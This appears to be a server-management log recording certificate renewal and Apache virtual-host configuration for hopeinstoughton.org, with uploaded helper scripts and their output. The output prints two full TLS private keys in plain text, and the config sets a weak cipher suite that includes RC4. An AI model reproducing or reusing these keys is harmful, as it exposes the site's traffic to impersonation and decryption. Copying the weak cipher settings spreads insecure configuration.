SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-12-15 06:00:18:
PUT: /tmp/pkp386660
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:18:
chmod 755 /tmp/pkp386660; /tmp/pkp386660; rm /tmp/pkp386660
2025-12-15 06:00:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt 5409
19:af:73:e6:a0:15:48:7b:38:99:17:a8:8c:1a:4e:fd
-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBXEG3cXF6jPlfkZ1ZP6cNb/mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTQ2WhcNMjYwMzE1MDUwMTQ1WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAmvaYOOcC4QS2sBNPi1TyGSEF4STz3lRt+oWMrsN9UMwhWaauW0YLJIWU
UKdkdGPfavzmHgzT3qTmZ60Zn8JfKgduIWvrrqRmvb0s8+uk8dIzCtb8rPrjOSuQ
SLfQl9btiE+794FJW1bk6vnHLeX/7wm9x2H7T+kYWxTrjq5p6j0gjKuSoR5eD23w
xLkfACvWfrCmXb8s66L+T4VPg+Xq+VH3CO8QnoKvUD2+MlPobsZPqBtTN5SKaxUL
+1OnbT1SmnRRKLixbE0EyUnIaBC5Lsuo+rDj3BXBXzw1EwSDxthbfvKaWkELbgZm
Ln6OtZQWBg/WaBMP80ccopsL4W6B9wIDAQABo4ICRjCCAkIwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRZ8Adtli2J1l2/SR1PWv0VDqO8eTAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAz
LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmyCYY0YAAAQDAEcwRQIgIuGX4AG2AjhQKtM4DY8M
112TgeWj6XwSee7R4ASoS5UCIQCa3zgn5CLy56JUBoS+lbKiqxOZZFLo7VW8ucsf
OUTtUwB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABmyCYZUsA
CAAABQAkjmC0BAMASDBGAiEArymdMI46G1SSsbGPr1XovGxgeee+nL0W0kwQ3fMP
PXICIQC2Z2aiS0dVE9kVGzp8tchblLqmBxKyg0f24wDMfebXJjANBgkqhkiG9w0B
AQsFAAOCAQEAWZrMjJTAOlDkGeybly+Wt+ADjM+4KQ+ba46trkmtBw7GIJfLFifj
okGBsvvSWjL7O9PhN6sd7YFB79Bh+NKxj1D/3Ig+hKyaFt6YBAlWRe3NEZsTMp3A
B8D6M8FAxb9+W0eGSuXxcUNPYDYQJHR011Etva7cGX9b8D6jr6wy1m/pQ1dxN5p6
GVtTVcuo/nEgsilNK9blDq9L91pO0HCp0anP4frDKIwFKQ0cpdEkmhBjydDuxkOd
Wo7MIFgR1mJPe+cdkz415TQvItJ7QY517KprplrfLYpUWqEzlRF7y2t7f1mFwrEP
x2reG3zafStL71tYxcQYbE7kPHiyl6j/mQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCa9pg45wLhBLaw
E0+LVPIZIQXhJPPeVG36hYyuw31QzCFZpq5bRgskhZRQp2R0Y99q/OYeDNPepOZn
rRmfwl8qB24ha+uupGa9vSzz66Tx0jMK1vys+uM5K5BIt9CX1u2IT7v3gUlbVuTq
+cct5f/vCb3HYftP6RhbFOuOrmnqPSCMq5KhHl4PbfDEuR8AK9Z+sKZdvyzrov5P
hU+D5er5UfcI7xCegq9QPb4yU+huxk+oG1M3lIprFQv7U6dtPVKadFEouLFsTQTJ
SchoELkuy6j6sOPcFcFfPDUTBIPG2Ft+8ppaQQtuBmYufo61lBYGD9ZoEw/zRxyi
mwvhboH3AgMBAAECggEAHcFL6WEyRFLLYXPTykU9V2Xn4xtdWEuN8pTCNqyC24jW
vogq4ovIh/K+T95Ug6TJuZll9k8wP4gaVb3/NZX0//T9SJ2YW6hlsfkpMI0G1wgt
lN9DFVP3XXrn8Y6aFw3F/m6RAS1qEIfW3OepPz7yrcuJDUfbIbT4YETcFkGXRMq7
fjb5DjO+GHuQ1NBIXst5IGGSN68EeHZIW8mJtMW1Ge+pPPb6qwh47s+vG33Woecn
/s5lk1AYZHaUhp9xQaoKAgg++7G/TLrgU9jmiqOJCtul4uQvOUiJOGK3nGQBxkTC
5pnA91nQpBTIW0d+AldMPjENpaMlyeVLmKogytLZQQKBgQDJz6Xkb3aKvCF8y5Qa
4rSzX+KhqTHJ8KqtVZO1LGKEh1Q+jL55zOx6mZtD666U2+6lNIGUCBFKHQ4JlKtj
78QGYZwAXzTfDwp5P8nMTr94eMXrLtgNtyo6V/Kxl/QsMV0EemwuCtCN70B/CrE4
gG1krLgzwIN31vZukBtA8yCkWwKBgQDEkqhxDw5ErHMo8H8SdJ6F/eAHxZ2Tpu/W
OTaoiQAGmE1m2udcWhEpVfNnqIS75jary4Qs14Op/0dv0s2I9dbNXB12TSlvxV+S
4vxGPT35TE38UhIUhw+bMLUWyMhyELXnoXsKJtvnKQ7ivpOyxeMujVA701LR8hni
rksyLI/blQKBgFCxu9aMjyzILue0i0L41WJH+9nCSotBtS1b45T062uspQ3hvyP6
wbAADapp6cPR8SmTxiBH3Ynx9jP0g1eRfqNCkls/tmden0R+MhWEg2ELgbAZagCJ
9dOgaQWECflFv7jTrr/2SRAH05U41EYQbC1uNrVSy/62MJFjA9LDpJCzAoGAI/Ht
ez8VjNk79bCEjAtnMXlLDiDEv8s28CVmKUtkBdCz1qsQw4J0wOpGqB3Yp8NhG+kL
Mmf2W4+isIALtY++x66gdJGHkji1UVbQaseoHX4mhI09YSORZv9xHcl5XeJQYRrW
NPUGIS8Q2cWfnIEzGcAde9MYwetTcHAOsA4WAEECgYEAg4wforSWLwnfiuhfp37N
jtN7cyNgDTkswYoYp/kwlsJURVewljtsC0+7oxRtN9kpMS0eRC4fhI1p4C+XEn6O
sbDABqPkt31gcRSSAkjJLXBXu9OiqAAiEe3dKQft9bVuvdOOarCABpRLZUcwr7hr
3IU+uPXQ4MC89MYl09eGC74=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18: Establishing a connection
2025-12-15 06:00:18:
PUT: /tmp/pkp278172
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-15 06:00:19:
chmod 755 /tmp/pkp278172; /tmp/pkp278172; rm /tmp/pkp278172
2025-12-15 06:00:19:
1
2025-12-15 06:00:20: Establishing a connection
2025-12-15 06:00:20:
PUT: /tmp/pkp172482
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30
2025-12-15 06:00:20:
chmod 755 /tmp/pkp172482; /tmp/pkp172482; rm /tmp/pkp172482
2025-12-15 06:00:20:
2025-12-15 06:00:25: Establishing a connection
2025-12-15 06:00:25:
PUT: /tmp/pkp623422
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm pfIQ_w2mn63BzkENsn83JpQlyOsy4zMiBQF-gbzQt30
2025-12-15 06:00:26:
chmod 755 /tmp/pkp623422; /tmp/pkp623422; rm /tmp/pkp623422
2025-12-15 06:00:26:
2025-12-15 06:00:26: Establishing a connection
2025-12-15 06:00:26:
PUT: /tmp/pkp290244
#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt
cat > $temp_file <<'endmsg'
0e:14:8b:61:48:ec:da:d4:09:25:29:7b:c1:78:ae:a3
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBS7YK3EJBDrSldTWLr7PKZ1MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTU1WhcNMjYwMzE1MDUwMTU0WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKihO6UG/Gx1R+G3dNdJgMZs1C+1R7SXuYp077WK+TZPacnP
SHqwTTDpDvifNRBq/qbPK6jEQU3fwLCFENtRUuC/t6uLDcIFkpToYtFBLMHwRxjv
TZsFnkAvTWv3ZsKXAYlNssI1/spJAe/vOybOfLFrMXZEmAu8Yy1/VTIm/FupH/v6
xWQTmYD4+W1yYC5dRlG6M2PhMOzgeppNv1ivJI4dMloX0aSYm+uCEB438H8+Bmd9
40r3qflRlNePKtqLIOWaLe9HKLdBZAcgMZ+r8tIS/dqJpst0eB47zfgNPs4Y6hyX
nRkUwxeR6sPkTikmY9mQdU4k3s//z0/G519+AXcCAwEAAaOCAiwwggIoMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUDn2Tu88sf9mRUsMp4woK+T+vN5EwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzc3LmNybDCCAQYGCisG
AQQB1nkCBAIEgfcEgfQA8gB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8z
E/X6AAABmyCYhiYAAAQDAEgwRgIhAJI81LwNM97nrCRMFroHGmh6KItTeCJNXQmQ
wMeQYAz6AiEA1B9fB4pZilG0Tg+n+XIRut/QVJseufejrXi5mqrRugcAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZsgmIZgAAAEAwBIMEYCIQCQ
NoGa7GWqgymGYe4BSzhI1w65EvKb7P7mfAR6ndn3TQIhAMvxk9JrYnES6KH2/4xj
jWw9ZO8muartebhKzRXlbI6TMA0GCSqGSIb3DQEBCwUAA4IBAQA2/IL2mAbyTnug
Sxt88Fsb1ndnSO1OWs84eS5qxbDSZctjqQHUpBVXT/lcASc5zVMFG9SNcDslDDVc
ZPIORdhmfK4EPK5vC1Fdtj2mygn8MYIi+/4P7LyorTeblbhYTe3BLXA/8cA2N3w2
4RBtSl/LnR7TH9MJZiHYY9HseuDJfTVFdidj/yThts6ZmTNEuIh84IqfM60u6lar
nMTNRVvMWZcOhlY95zaPyKHE1V7k7qNmsvAFD7wAAUwOzhDKzT5fsAYJTfC4f0GC
wP+cVmWehEgrWtKBn9UWo8XABO9r/7QivbOt/uKoy0Uy+TdPURP2ZM2TwAzf6JNU
byeeQaOF
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCooTulBvxsdUfh
t3TXSYDGbNQvtUe0l7mKdO+1ivk2T2nJz0h6sE0w6Q74nzUQav6mzyuoxEFN38Cw
hRDbUVLgv7eriw3CBZKU6GLRQSzB8EcY702bBZ5AL01r92bClwGJTbLCNf7KSQHv
7zsmznyxazF2RJgLvGMtf1UyJvxbqR/7+sVkE5mA+PltcmAuXUZRujNj4TDs4Hqa
Tb9YrySOHTJaF9GkmJvrghAeN/B/PgZnfeNK96n5UZTXjyraiyDlmi3vRyi3QWQH
IDGfq/LSEv3aiabLdHgeO834DT7OGOocl50ZFMMXkerD5E4pJmPZkHVOJN7P/89P
xudffgF3AgMBAAECggEAIzpDlo8mDpZVpO7JZuxBDbLQhQLu7ug/Z5BUP22/8DuY
0wMNlivchFo7uW6xDDP97OUcrs4JAna672VtBxQvJyqF+T08a4r0e00sz6A49G74
u1nKsZbz317CYsq1WfNn68IilPXou2OTFwe4KLw8SmglVhqwVMtPQML4DlkcoR0V
8gRosu0tFfwI/pvzsGfpJfZkhCzeu6F3MoRb8UqMXcXvccZ2HtbBMZ4RXV2/rO0L
udzFktpuUEo2ZKKc1kmC/R4jfXvzJ2dhe7rvusOd8Ll9hcyfEZ8PcaSlui1h5HVn
X/2DhKHysbq//1rm+yNvwqg/H5QjY0WNUcHWq7N0KQKBgQDTLWuEs2lFiplnX1Uk
0nonAVXoOLwhh5/4YVGFJMq5RT9/fm5P3BkSyKiHn1Dp44A3dVl0FOYagafESYzd
n+jC5Hjd4JjgIlhp9YIC/z6qNCu+xm0zL5vi6+JEkmcP0hs43Wa1Gp++bCaR5B1f
X1YXXj/Jjm805sPoCgv0nqCQgwKBgQDMa/AA7Bdbs1ZVepp34QcDTmGEbmCF1zJI
S5RsggrekrNOJ1+wBM2LfDRe09jjl6IMOOgRWigNLp4T9yGhorP+oXd2sgDTOUvp
iY91OAIqfL4y4bwjdnvzGwzBC/z68xqMEShZ/tdPSEWjN5FpX9eJdJotr/q3s+0K
iCTirm0Q/QKBgA1Yu4jhhe+9OMDNx6XSH6JDdVh97XX5CmU6UVqm3qEi/UZjiTlG
4dbME8quiQCfPkVDB2pMv9ZBB4diVqLTLnTS18i+HytbQFdCCvuBgkZjkbg29kPb
6HBJFD3dOuJHFy1a4NjlW98/Gpjx3+FdNyW28TUd6W1ggFUz/VlyhRddAoGANL+Z
c7N4J4p0OaRkXZCsbZb5JOISeBbae7s89m7r/RjfucgBMftbSqXnIZ0Kt1e2Ue8R
OwEHmrcvxTkc7Yd9aLQjjnZKLjb3trBvWzDzpiEAN0L2eDQnsciGFv5P7jVy4TfA
MNDIoEWm6oH5PLaleGulKSriyCpefTw6QF//9sUCgYEAuX5MXkGiGqX864b/TyKa
FnvFlvuzlVgDxGdUTQ3m6db7TsTmf04fF6N2DKsKJQF5WTzBgLBQra90fKDzBueQ
fgxz1MpAVIfs4d7azln1p91x9ZmjTzRh1AO+5ip3lb5lrivx2lKWEOrv3Uwpgj8A
G0OXvpeEjfGNIrM3av1/pes=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-15 06:00:26:
chmod 755 /tmp/pkp290244; /tmp/pkp290244; rm /tmp/pkp290244
2025-12-15 06:00:26:
dir=/etc/ssl/certs
2025-12-15 06:00:26:
PUT: /tmp/pkp713670
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-15 06:00:26:
chmod 755 /tmp/pkp713670; /tmp/pkp713670; rm /tmp/pkp713670
2025-12-15 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-15 06:00:26:
PUT: /tmp/pkp433154
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi
2025-12-15 06:00:26:
chmod 755 /tmp/pkp433154; /tmp/pkp433154; rm /tmp/pkp433154
2025-12-15 06:00:26:
